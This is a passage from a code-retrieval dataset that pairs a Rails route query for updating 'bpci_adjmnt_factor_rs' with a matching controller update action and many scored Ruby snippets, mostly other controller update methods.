"text": "def words_longer_than(array,num)\n new_array = []\n array.map{ |w|\n new_array.push(w.count(\"e\"))\n }\n letter_per_word(new_array, new_array.length)\nend",
"title": ""
},
{
"docid": "4f3423f99ad864129d48dc63a5ff9836",
"score": "0.47785664",
"text": "def count_verbs\n @regular_verb_count ||= self.alternation_values\n .where(alternation_occurs: 'Regularly').reduce(0) do |sum, av|\n if av.verb then sum + 1 else sum end\n end\n end",
"title": ""
},
{
"docid": "d0b166415be4eeec9719ae3732854c25",
"score": "0.4776864",
"text": "def val_count(cards)\n\t\t\"123456789TJQK\".chars.collect{|char| cards.count {|card| card.val == char}}\n\tend",
"title": ""
},
{
"docid": "eb3f9d99e8565522eafcbc9870048fe7",
"score": "0.4776192",
"text": "def change_from_plus2_probability(card)\n p = @stack.select { |c| c.figure == :wild4 || c.figure == :plus2 || c.figure == :reverse && c.color == card.color }.length.to_f\n @prob_cache[3000 + card.code] ||= has_card_with_property p\n end",
"title": ""
},
{
"docid": "b2668f47fed7d36073fa50e463c315b6",
"score": "0.47760907",
"text": "def count_rulings(card)\n ruling_arr = scryfall.rulings(card['id']) \n \"(#{ruling_arr.length})\"\n end",
"title": ""
},
{
"docid": "981b0cae18637bfe86e607b2304d44c2",
"score": "0.47751388",
"text": "def count_keys_less(equal, highest_value)\n less = []\n less[0] = 0\n for j in (1..(highest_value - 1))\n less[j] = (less[j - 1] + equal[j - 1])\n end\n return less\nend",
"title": ""
},
{
"docid": "3f42f9f2d343eba7ac6cd4747ba8b11f",
"score": "0.47738725",
"text": "def top_copurchases(sku,n,counts)\n counts[sku].flatten.group_by(&:sku).sort{|a,b|b[1].length <=> a[1].length}[0..(n-1)].map{|a|[a[0],a[1].length]}\nend",
"title": ""
},
{
"docid": "f1dcd5f4e8cd4b48339cb3a660329902",
"score": "0.47711396",
"text": "def count\n @monkeys.count\n end",
"title": ""
},
{
"docid": "bd00088d33a41a10f1e689c4b943049e",
"score": "0.4765025",
"text": "def tally_frames(old=0)\n if !tss.empty?\n # puts \"returning hits count #{hits.count}\"\n return hits.count\n else\n result=0\n snd.each do |sn|\n result += hits.count*sn.tally_frames(old)\n end\n # puts \"all in result #{result}\"\n return result\n end\n end",
"title": ""
}
] |
9fd9c98a48609b509e52bc6598add69d
|
PATCH/PUT /bpci_adjmnt_factor_rs/1 PATCH/PUT /bpci_adjmnt_factor_rs/1.json
|
[
{
"docid": "f37ec226d7cb740fc55b079c8496259e",
"score": "0.7298623",
"text": "def update\n respond_to do |format|\n if @bpci_adjmnt_factor_r.update(bpci_adjmnt_factor_r_params)\n format.html { redirect_to @bpci_adjmnt_factor_r, notice: 'Bpci adjmnt factor r was successfully updated.' }\n format.json { render :show, status: :ok, location: @bpci_adjmnt_factor_r }\n else\n format.html { render :edit }\n format.json { render json: @bpci_adjmnt_factor_r.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "3b3b783406b88555760baabd0efe665e",
"score": "0.65199906",
"text": "def set_bpci_adjmnt_factor_r\n @bpci_adjmnt_factor_r = BpciAdjmntFactorR.find(params[:id])\n end",
"title": ""
},
{
"docid": "ae43bf63ec632b487451dd3da271862e",
"score": "0.60077786",
"text": "def update\n\n claim_params[:status] = claim_params[:status].to_i\n claim_params[:transmission_code] = claim_params[:transmission_code].to_i\n claim_params[:cost_basis] = claim_params[:cost_basis].to_i\n claim_params[:product_type] = claim_params[:product_type].to_i\n claim_params[:percentage_tax_basis_submitted] = claim_params[:percentage_tax_basis_submitted].to_i\n claim_params[:reimbursement_basis] = claim_params[:reimbursement_basis].to_i\n claim_params[:tax_basis_paid] = claim_params[:tax_basis_paid].to_i\n claim_params[:other_coverage_code] = claim_params[:other_coverage_code].to_i\n\n respond_to do |format|\n if @claim.update(claim_params)\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim }\n else\n format.html { render :edit }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.59997034",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "662d6dc02f33d85136279d78a0effac8",
"score": "0.59662426",
"text": "def update\n respond_to do |format|\n if @factor.update(factor_params)\n format.html { redirect_to @factor, notice: 'Factor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "56f6160ea1cb771df81ea6afb412a1d4",
"score": "0.59515774",
"text": "def update\n @risk_factor = RiskFactor.find(params[:id])\n\n respond_to do |format|\n if @risk_factor.update_attributes(params[:risk_factor])\n format.html { redirect_to(@risk_factor, :notice => 'RiskFactor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @risk_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2012cae3dc14ae76dbcf2b1e52f430b0",
"score": "0.59357435",
"text": "def update\n @admin_reclaim_rate = Admin::ReclaimRate.find(params[:id])\n\n respond_to do |format|\n if @admin_reclaim_rate.update_attributes(params[:admin_reclaim_rate])\n format.html { redirect_to admin_reclaim_rates_url }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_reclaim_rate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3bef2b1c5d57ea987aba210af4db2c7e",
"score": "0.59327424",
"text": "def update\n @stage_consume_biomass_ratio = StageConsumeBiomassRatio.find(params[:id])\n\n respond_to do |format|\n if @stage_consume_biomass_ratio.update_attributes(params[:stage_consume_biomass_ratio])\n format.html { redirect_to @stage_consume_biomass_ratio, notice: 'Stage consume biomass ratio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_consume_biomass_ratio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97875c626d24e9bf38b75748d6e7ffd0",
"score": "0.59084135",
"text": "def update\n @prefbudget = Prefbudget.find(params[:id])\n\n respond_to do |format|\n if @prefbudget.update_attributes(params[:prefbudget])\n format.html { redirect_to @prefbudget, notice: 'Prefbudget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prefbudget.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "827a6178dba0d76745d5f589e5938641",
"score": "0.5895606",
"text": "def update\n budget = Budget.find(params[:id])\n\n if budget.update_attributes(params.slice(:budget_name, :amount, :recur,\n :start_date, :recurrence_duration,\n :other_duration))\n render :json => budget\n else\n render :json => entry.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "bf10a6d4263fbd35fff739dff6f702af",
"score": "0.5828784",
"text": "def update\n @stage_prod_consum_ratio = StageProdConsumRatio.find(params[:id])\n\n respond_to do |format|\n if @stage_prod_consum_ratio.update_attributes(params[:stage_prod_consum_ratio])\n format.html { redirect_to @stage_prod_consum_ratio, notice: 'Stage prod consum ratio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_prod_consum_ratio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "692e8fd5a7099347174ac50b023ee4a2",
"score": "0.58213",
"text": "def update\n\n claim_cob_params[:payor_id_qualifier] = claim_cob_params[:payor_id_qualifier].to_i\n claim_cob_params[:patient_amount_qualifier] = claim_cob_params[:patient_amount_qualifier].to_i\n\n respond_to do |format|\n if @claim_cob.update(claim_cob_params)\n format.html { redirect_to @claim_cob, notice: 'Claim cob was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_cob }\n else\n format.html { render :edit }\n format.json { render json: @claim_cob.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3fb8b2a77826d14d996b67d3cf7a19ae",
"score": "0.5819754",
"text": "def update\n respond_to do |format|\n if @actual_recipe_req.update(actual_recipe_req_params)\n format.html { redirect_to @actual_recipe_req, notice: 'Actual recipe req was successfully updated.' }\n format.json { render :show, status: :ok, location: @actual_recipe_req }\n else\n format.html { render :edit }\n format.json { render json: @actual_recipe_req.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c93ded54123a7d951fd45c865651e3b6",
"score": "0.5808355",
"text": "def update\n @stage_prod_biomass_ratio = StageProdBiomassRatio.find(params[:id])\n\n respond_to do |format|\n if @stage_prod_biomass_ratio.update_attributes(params[:stage_prod_biomass_ratio])\n format.html { redirect_to @stage_prod_biomass_ratio, notice: 'Stage prod biomass ratio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_prod_biomass_ratio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73d56adc66533645c33529093e3f261f",
"score": "0.57368284",
"text": "def update\n @dbs_rating_factor = DbsRatingFactor.find(params[:id])\n\n respond_to do |format|\n if @dbs_rating_factor.update_attributes(params[:dbs_rating_factor])\n format.html { redirect_to(@dbs_rating_factor, :notice => 'DbsRatingFactor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dbs_rating_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.57094",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.57094",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "404fee129164f0e580bdc585d4b60289",
"score": "0.5707794",
"text": "def update\n @req = Req.find(params[:id])\n\n respond_to do |format|\n if @req.update_attributes(params[:req])\n format.html { redirect_to @req, notice: 'Req was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @req.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f92e8d06dbd4406a62dc7e395850ae3",
"score": "0.5707067",
"text": "def update\n \n respond_to do |format|\n if @factor_detail.update(factor_detail_params)\n format.html { redirect_to @factor_detail, notice: 'Factor detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @factor_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "218dcc58378e29d62d98e81b297c84d0",
"score": "0.5701606",
"text": "def update\n \n @rate.factors.each do |factor|\n # factor.update(factor: rate_params[:factor], description: rate_params[:description])\n\n factor.factor = params[:rate][:factor]\n factor.description = params[:rate][:description]\n factor.admin_id = current_admin.id\n factor.price = Value.where(codeval_id: factor.codeval_id, cost_id: params[:rate][:cost_id]).first.value * (1 + (params[:rate][:factor].to_f / 100))\n factor.cost_id = params[:rate][:cost_id]\n factor.save \n end #Traigo toda la colecciones de factores para la Rate actual y los recorro\n\n\n if @rate.update(rate_params)\n redirect_to @rate, notice: 'Tarifa exitosamente actualizada.'\n else\n render :edit\n end\n\n end",
"title": ""
},
{
"docid": "7940c11bd62595dd90f999a4f4d2bb51",
"score": "0.56920874",
"text": "def update\n @claim_audit_entry.delete_prev_detail_records\n parsing_answers\n respond_to do |format|\n if @claim_audit_entry.update(claim_audit_entry_params)\n @claim_audit_entry.claim_awaiting_audit.update(:last_reviewed_date=>Date.today, :new_upload => true)\n format.html { redirect_to root_path, notice: 'Claim audit entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to action: 'edit',:id=>@claim_audit_entry.id,notice: \"#{@claim_audit_entry.errors.full_messages.first}\" }\n format.json { render json: @claim_audit_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0e56b8914790998d53dfb5cea76a415",
"score": "0.5690961",
"text": "def update\n respond_to do |format|\n if @performance_factor.update(performance_factor_params)\n format.html { redirect_to @performance_factor, notice: 'Performance factor was successfully updated.' }\n format.json { render :show, status: :ok, location: @performance_factor }\n else\n format.html { render :edit }\n format.json { render json: @performance_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "900e1f8e63570664f98531616728e0d7",
"score": "0.56688887",
"text": "def update\n @rfc = Rfc.find(params[:id])\n\n respond_to do |format|\n if @rfc.update_attributes(params[:rfc])\n format.html { redirect_to rfcs_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rfc.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d56eb195ba5821087c73384e7a9bdaae",
"score": "0.5668382",
"text": "def update\n @stage_unassimilated_consum_ratio = StageUnassimilatedConsumRatio.find(params[:id])\n\n respond_to do |format|\n if @stage_unassimilated_consum_ratio.update_attributes(params[:stage_unassimilated_consum_ratio])\n format.html { redirect_to @stage_unassimilated_consum_ratio, notice: 'Stage unassimilated consum ratio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_unassimilated_consum_ratio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c931a063ef595e1f73b321d987b184db",
"score": "0.56682706",
"text": "def update \n @user_requirement = UserRequirement.find(params[:id])\n if @user_requirement.update_attributes(user_requirement_params) \n render json: @user_requirement, status: :updated\n else \n render json: @user_requirement.errors, status: :unprocessable_entity \n end \n end",
"title": ""
},
{
"docid": "e61b1427e3f29e33dd2555c0b668da5e",
"score": "0.5660322",
"text": "def update\n @bu_risk_mgt = BuRiskMgt.find(params[:id])\n\n respond_to do |format|\n if @bu_risk_mgt.update_attributes(params[:bu_risk_mgt])\n format.html { redirect_to @bu_risk_mgt, notice: 'Bu risk mgt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bu_risk_mgt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "548ba1babbcdb78511c04a317bf5c979",
"score": "0.5657772",
"text": "def update\n json_update(factType,factType_params, FactType)\n end",
"title": ""
},
{
"docid": "9f440b6d1f03be241da58e1b00f66ecc",
"score": "0.56558084",
"text": "def update\n if request.patch?\n status_unsupported_media_type && return unless content_type_header?('application/json-patch+json')\n\n # Parse in the JSON patch\n patch = Hana::Patch.new(JSON.parse(request.body.string))\n else\n status_unsupported_media_type && return unless content_type_header?('application/fhir+json')\n\n # Parse in the FHIR\n contents = FHIR.from_contents(request.body.string)\n errors = contents&.validate\n status_bad_request(format_fhir_validation_errors(errors)) && return if contents.nil? || !errors.empty?\n end\n\n resource_type = params.permit(:resource_type)[:resource_type]&.downcase\n case resource_type\n when 'patient'\n return if doorkeeper_authorize!(\n :'user/Patient.write',\n :'user/Patient.*',\n :'system/Patient.write',\n :'system/Patient.*'\n )\n\n # Get the patient that needs to be updated\n patient = get_patient(params.permit(:id)[:id])\n status_forbidden && return if patient.nil?\n\n # Get the contents from applying a patch, if needed\n if request.patch? && !patient.nil?\n begin\n contents = apply_patch(patient, patch)\n rescue StandardError => e\n status_bad_request([['Unable to apply patch', e&.message].compact.join(': ')]) && return\n end\n end\n\n # Get patient values before updates occur for later comparison\n patient_before = patient.dup\n\n # Get key value pairs from the update.\n # fhir_map is of the form:\n # { attribute_name: { value: <converted-value>, path: <fhirpath-to-corresponding-fhir-element> } }\n fhir_map = patient_from_fhir(contents, default_patient_jurisdiction_id)\n request_updates = fhir_map.transform_values { |v| v[:value] }\n status_unprocessable_entity(nil, nil, nil) && return if request_updates.nil?\n\n # Assign any remaining updates to the patient\n # NOTE: The patient.update method does not allow a context to be passed, so first we assign the updates, then save\n patient.assign_attributes(request_updates)\n\n # Wrap updates to the Patient, Transfer creation, and History creation in a transaction\n # so that they occur atomically\n ActiveRecord::Base.transaction do\n # Verify that the updated jurisdiction and other updates are valid\n unless jurisdiction_valid_for_update?(patient) && patient.save(context: :api)\n req_json = request.patch? ? patient.as_fhir.to_json : JSON.parse(request.body.string)\n status_unprocessable_entity(patient, fhir_map, req_json) && return\n end\n\n # If the jurisdiction was changed, create a Transfer\n if request_updates&.keys&.include?(:jurisdiction_id) && !request_updates[:jurisdiction_id].nil?\n Transfer.create!(patient: patient, from_jurisdiction: patient_before.jurisdiction, to_jurisdiction: patient.jurisdiction, who: @current_actor)\n end\n\n # Handle creating history items based on all of the updates\n update_all_patient_history(request_updates, patient_before, patient)\n end\n\n status_ok(patient.as_fhir) && return\n when 'relatedperson'\n return if doorkeeper_authorize!(\n :'user/RelatedPerson.write',\n :'user/RelatedPerson.*',\n :'system/RelatedPerson.write',\n :'system/RelatedPerson.*'\n )\n\n # Get the CloseContact that needs to be updated\n close_contact = get_record(CloseContact, params.permit(:id)[:id])\n status_forbidden && return if close_contact.nil?\n\n # Get the contents from applying a patch, if needed\n if request.patch? && !close_contact.nil?\n begin\n contents = apply_patch(close_contact, patch)\n rescue StandardError => e\n status_bad_request([['Unable to apply patch', e&.message].compact.join(': ')]) && return\n end\n end\n\n fhir_map = close_contact_from_fhir(contents)\n request_updates = fhir_map.transform_values { |v| v[:value] }\n status_unprocessable_entity && return if request_updates.nil?\n\n # Assign any remaining updates to the close_contact\n close_contact.assign_attributes(request_updates)\n\n # Wrap updates to the CloseContact and History creation in a transaction\n ActiveRecord::Base.transaction do\n unless referenced_patient_valid_for_client?(close_contact, :patient_id) && close_contact.save(context: :api)\n req_json = request.patch? ? close_contact.as_fhir.to_json : JSON.parse(request.body.string)\n status_unprocessable_entity(close_contact, fhir_map, req_json) && return\n end\n\n Rails.logger.info \"Updated Close Contact (ID: #{close_contact.id}) for Patient with ID: #{close_contact.patient_id}\"\n History.close_contact_edit(patient: close_contact.patient_id,\n created_by: @current_actor_label,\n comment: \"Close contact edited via the API (ID: #{close_contact.id}).\")\n end\n status_ok(close_contact.as_fhir) && return\n when 'immunization'\n return if doorkeeper_authorize!(\n :'user/Immunization.write',\n :'user/Immunization.*',\n :'system/Immunization.write',\n :'system/Immunization.*'\n )\n\n # Get the Vaccine that needs to be updated\n vaccine = get_record(Vaccine, params.permit(:id)[:id])\n status_forbidden && return if vaccine.nil?\n\n # Get the contents from applying a patch, if needed\n if request.patch? && !vaccine.nil?\n begin\n contents = apply_patch(vaccine, patch)\n rescue StandardError => e\n status_bad_request([['Unable to apply patch', e&.message].compact.join(': ')]) && return\n end\n end\n\n fhir_map = vaccine_from_fhir(contents)\n request_updates = fhir_map.transform_values { |v| v[:value] }\n status_unprocessable_entity && return if request_updates.nil?\n\n # Assign any remaining updates to the Vaccine\n vaccine.assign_attributes(request_updates)\n\n # Wrap updates to the Vaccine and History creation in a transaction\n ActiveRecord::Base.transaction do\n unless referenced_patient_valid_for_client?(vaccine, :patient_id) && vaccine.save\n req_json = request.patch? ? vaccine.as_fhir.to_json : JSON.parse(request.body.string)\n status_unprocessable_entity(vaccine, fhir_map, req_json) && return\n end\n\n Rails.logger.info \"Updated Vaccination (ID: #{vaccine.id}) for Patient with ID: #{vaccine.patient_id}\"\n History.vaccination_edit(patient: vaccine.patient_id,\n created_by: @current_actor_label,\n comment: \"Vaccination edited via the API (ID: #{vaccine.id}).\")\n end\n status_ok(vaccine.as_fhir) && return\n else\n status_not_found && return\n end\n rescue JSON::ParserError\n status_bad_request(['Invalid JSON in request body'])\n end",
"title": ""
},
{
"docid": "65ed013624b9d4b7dd034c3c5976950e",
"score": "0.5634164",
"text": "def update\n @risp_service_usage = RispServiceUsage.find(params[:id])\n\n respond_to do |format|\n if @risp_service_usage.update_attributes(params[:risp_service_usage])\n format.html { redirect_to @risp_service_usage, notice: 'Risp service usage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @risp_service_usage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "84110a524faa303818c0db1920503f7f",
"score": "0.56299007",
"text": "def update\n @subcellular_fraction = SubcellularFraction.find(params[:id])\n\n respond_to do |format|\n if @subcellular_fraction.update_attributes(params[:subcellular_fraction])\n format.html { redirect_to @subcellular_fraction, notice: 'Subcellular fraction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subcellular_fraction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fdb21080435fab94ecb8ef9b59ee3400",
"score": "0.5626693",
"text": "def update\n respond_to do |format|\n if @allocation.update(allocation_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "578f7680faacb42594aa31ec68d0541a",
"score": "0.5623506",
"text": "def update\n @em_pcr = EmPcr.find(params[:id])\n\n respond_to do |format|\n if @em_pcr.update_attributes(params[:em_pcr])\n format.html { redirect_to @em_pcr, notice: 'Em pcr was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @em_pcr.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5eabb28a6688c87689509d98dca06d9",
"score": "0.56173164",
"text": "def update\n @fab_issue = FabIssue.find(params[:id])\n\n if params[:cleanup] == \"full\"\n params[:fab_issue][:full_rev_reqd] = true\n params[:fab_issue][:bare_brd_change_reqd] = false\n elsif params[:cleanup] == \"bareboard\"\n params[:fab_issue][:full_rev_reqd] = false\n params[:fab_issue][:bare_brd_change_reqd] = true\n else\n params[:fab_issue][:full_rev_reqd] = false\n params[:fab_issue][:bare_brd_change_reqd] = false\n end\n if (params[:fab_issue][:resolved].to_i == 1) && params[:fab_issue][:resolved_on].blank?\n params[:fab_issue][:resolved_on] = Date.today\n end\n\n respond_to do |format|\n if @fab_issue.update_attributes(params[:fab_issue])\n #format.html { redirect_to fab_issues_url(:design_review_id => params[:design_review][:id]), notice: 'Fab issue was successfully updated.' }\n format.html { redirect_to session[:return_to], notice: 'Fab issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fab_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c89883a6778a430ee08c7ba133198d2b",
"score": "0.56120217",
"text": "def update\n respond_to do |format|\n if @vfactor.update(vfactor_params)\n format.html { redirect_to @vfactor, notice: 'Vfactor was successfully updated.' }\n format.json { render :show, status: :ok, location: @vfactor }\n else\n format.html { render :edit }\n format.json { render json: @vfactor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3765503a85c0c775b22bab893e3b4eca",
"score": "0.5603862",
"text": "def update\n @coll_requirement = CollRequirement.find(params[:id])\n\n respond_to do |format|\n if @coll_requirement.update_attributes(params[:coll_requirement])\n format.html { redirect_to @coll_requirement, notice: 'Coll requirement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @coll_requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0dfc40cbd30cb804cb86c344a471e119",
"score": "0.56007016",
"text": "def update\n respond_to do |format|\n if @red_packet_base_rate.update(red_packet_base_rate_params)\n format.html { redirect_to [:admin, @red_packet_base_rate], notice: 'Red packet base rate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @red_packet_base_rate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a10419f7d36f513d757cc4a358e0741d",
"score": "0.55900115",
"text": "def update\n respond_to do |format|\n# fee = AssociationFee.find( @association_fee_issue.association_fee_id )\n# @association_fee_issue.value = fee.value\n# @association_fee_issue.valid_year = fee.valid_year\n\n if @association_fee_issue.update(association_fee_issue_params)\n format.html { redirect_to @association_fee_issue, notice: 'Quota Associativa actualizada com sucesso' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @association_fee_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99c019728e1aac614442dd9fa77830ec",
"score": "0.55889505",
"text": "def update\n\n claim_prior_auth_params[:authorization_basis] = claim_prior_auth_params[:authorization_basis].to_i\n claim_prior_auth_params[:request_type] = claim_prior_auth_params[:request_type].to_i\n\n respond_to do |format|\n if @claim_prior_auth.update(claim_prior_auth_params)\n format.html { redirect_to @claim_prior_auth, notice: 'Claim prior auth was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_prior_auth }\n else\n format.html { render :edit }\n format.json { render json: @claim_prior_auth.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "787341b7b54cafd9dfba1d4babf3f372",
"score": "0.5587765",
"text": "def update\n respond_to do |format|\n if @plantation_certainty_factor.update(plantation_certainty_factor_params)\n format.html { redirect_to @plantation_certainty_factor, notice: 'Plantation certainty factor was successfully updated.' }\n format.json { render :show, status: :ok, location: @plantation_certainty_factor }\n else\n format.html { render :edit }\n format.json { render json: @plantation_certainty_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "69391f982b070ce52372b82da9f7ec62",
"score": "0.55858123",
"text": "def update\n\t\t\n\n\t\t## awesome print the params\n\t\t##params_json = JSON.pretty_generate(params)\n\t\t##puts params_json\n\t\t#para = JSON.parse(params_json)\n\t\t#ap para\n\n\t\tif instance_variable_get(\"@#{get_resource_name}\").respond_to? :versions\n\t\t\t\n\t\t\tif ((instance_variable_get(\"@#{get_resource_name}\").verified_user_ids_changed?(get_model_params[:verified_by_user_ids])) || (instance_variable_get(\"@#{get_resource_name}\").rejected_user_ids_changed?(get_model_params[:rejected_by_user_ids])))\n\n\t\t\t\t## only thing which remains is seeing if it changed by anything other than the current user\n\t\t\t\t## because that is not allowed.\n\n\t\t\t\tv = Version.new(attributes_string: JSON.generate(instance_variable_get(\"@#{get_resource_name}\").attributes.merge(verified_by_user_ids: get_model_params[:verified_by_user_ids], rejected_by_user_ids: get_model_params[:rejected_by_user_ids])))\n\n\t\t\t\tv.assign_control_doc_number\n\n\t\t\t\t## check the password parameters.\n\t\t\t\t## this can be done at this stage.\n\t\t\t\t## if you are passing in a verified.\n\t\t\t\t## we can have that as an attribute accessor on version, all the model params.\n\t\t\t\t## so if you are saying yes to verified.\n\t\t\t\t## it can evaluate the incoming hash against a previous version.\n\t\t\t\t## did anything else change ?\n\t\t\t\t## that's pretty straightforward to implement.\n\t\t\t\t## like did a given set of parameters stay the same.\n\t\t\t\t## we can call them truth parameters.\n\t\t\t\t## which will \n\t\t\t\tunless v.tampering?(instance_variable_get(\"@#{get_resource_name}\").non_tamperables,instance_variable_get(\"@#{get_resource_name}\").versions[-1],get_model_params,instance_variable_get(\"@#{get_resource_name}\").class.name)\n\n\t\t\t\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"versions\").push(v)\n\n\t\t\t\tend\n\n\t\t\telse\n\n\t\t\t\tif instance_variable_get(\"@#{get_resource_name}\").verified_or_rejected?\n\t\t\t\t\t## so any further changes are considered to be accepted by the creator.\n\t\t\t\t\tv = Version.new(attributes_string: JSON.generate(get_model_params.merge(:verified_by_user_ids => [current_user.id.to_s], rejected_by_user_ids => [])))\n\n\t\t\t\t\tv.assign_control_doc_number\n\n\t\t\t\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"versions\").push(v)\n\t\t\t\tend\n\t\t\tend\t\t\n\t\telse\n\n\t\t\tt1 = Time.now.to_f\n\t\t\tassign_incoming_attributes\n\t\t\tt2 = Time.now.to_f\n\t\t\tputs \"assign attributes takes---------------------------------------------------------------->: #{(t2 - t1).in_milliseconds}\"\n\n\t\tend\n\n\t\t## so after find does not load the created_by_user\n\t\t## what about a current_user ?\n\t\tif current_user\n\t\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"created_by_user=\",current_user) \n\t\tend\n\t\t\n\t\n\t\t#puts \" ---------- ENDING HERE ---------------- \"\n\n\t\tt1 = Time.now\n\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"save\")\n\t\tset_errors_instance_variable(instance_variable_get(\"@#{get_resource_name}\"))\n\t\tt2 = Time.now\n\t\tputs \"save in update takes --------------------------------------------------------------------> #{(t2 - t1).in_milliseconds}\"\n\t\tset_alert_instance_variable(instance_variable_get(\"@#{get_resource_name}\"))\n\t\tinstance_variable_get(\"@#{get_resource_name}\").send(\"run_callbacks\",\"find\".to_sym)\n\n\t\t#puts \"instance variable get yields.\"\n\t\t#puts @organization.users_pending_approval.to_s\n\t\t#puts instance_variable_get(\"@#{get_resource_name}\").to_json\n\t\t## and this user does not have a current app id.\n\t\t## so its hanging, internally on the to_json call for the user.\n\t\t## that is failing internally from auth.\n\t\t## not from here.\n\t\t## its because you are calling to_json.\n\n\t\trespond_to do |format|\n\t\t\tformat.html do \n\t\t\t\tif @errors.full_messages.empty?\n\t\t\t\t\trender :show\n\t\t\t\telse\n\t\t\t\t\trender :edit\n\t\t\t\tend\n\t\t\tend\n\t\t\tformat.json do \n\t\t\t\tif @errors.full_messages.empty?\n\t\t\t\t\trender :json => {get_resource_name.to_sym => instance_variable_get(\"@#{get_resource_name}\")}.to_json, status: 204\n\t\t\t\telse\n\t\t\t\t\t#puts \"errors are:\"\n\t\t\t\t\t#puts @errors.full_messages.to_s\n\t\t\t\t\t#render json: {hello: \"world\"}, status: 200\n\t\t\t\t\t#puts \"got errors\"\n\t\t\t\t\t#exit(1)\t\n\t\t\t\t\trender :json => {get_resource_name.to_sym => 